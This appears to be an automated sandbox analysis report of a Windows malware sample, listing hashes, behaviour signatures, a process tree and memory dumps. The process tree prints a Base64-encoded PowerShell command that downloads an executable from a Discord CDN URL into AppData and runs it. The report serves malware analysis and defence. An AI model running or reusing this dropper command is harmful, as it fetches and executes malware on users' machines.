Analysis
-
max time kernel
43s -
max time network
45s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
-
submitted
24-12-2022 19:26
General
-
Target
1.exe
-
Size
5KB
-
MD5
c735194e98e65e8eef9f8ff0e7ebb438
-
SHA1
ac5045e63d0a25902f46639fbef893e490e99ae4
-
SHA256
a0dd0fd9b082e1e5c66861ab460fce6d9f50b4369def04da73841e5387606837
-
SHA512
c6fb11ef987ca0bd6787ab533aaf7fd82c6c7ea06aea9d5cde27f83864f2d418d037a761fbfed68e07a9ec5928eb2f8a77506c1f44467970dd88edce4a052c0a
-
SSDEEP
96:8G791ll3VI287thtvk+PuAYks9vk+Pf1cvHd3ojxrl:/91/33Y5vkCYlvkeCHdW
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\1.exe"C:\Users\Admin\AppData\Local\Temp\1.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGUAbgBuACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADUANQA2ADAANAA2ADUANAA0ADQANgAyADIAMwAzADcAMAAvADEAMAA1ADUANgAwADQANwA3ADUAMAAwADMAMAA5ADkAMQA4ADYALwBwAGwAbABtAG0AZABpAGkAcABtAC4AZQB4AGUAJwAsACAAPAAjAHAAZgB2ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAagB3AG0AIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAegB2AGwAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMQAuAGUAeABlACcAKQApADwAIwBuAGUAZgAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGsAagAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAbgBuAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAMQAuAGUAeABlACcAKQA8ACMAYQBjAHAAIwA+AA=="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/916-56-0x0000000000000000-mapping.dmp
-
memory/916-58-0x000007FEF3AA0000-0x000007FEF44C3000-memory.dmpFilesize
10.1MB
-
memory/916-59-0x000007FEF2F40000-0x000007FEF3A9D000-memory.dmpFilesize
11.4MB
-
memory/916-60-0x00000000024F4000-0x00000000024F7000-memory.dmpFilesize
12KB
-
memory/916-61-0x000000001B7B0000-0x000000001BAAF000-memory.dmpFilesize
3.0MB
-
memory/916-62-0x00000000024FB000-0x000000000251A000-memory.dmpFilesize
124KB
-
memory/916-63-0x00000000024F4000-0x00000000024F7000-memory.dmpFilesize
12KB
-
memory/916-64-0x00000000024FB000-0x000000000251A000-memory.dmpFilesize
124KB
-
memory/2016-54-0x0000000000230000-0x0000000000238000-memory.dmpFilesize
32KB
-
memory/2016-55-0x000007FEFB731000-0x000007FEFB733000-memory.dmpFilesize
8KB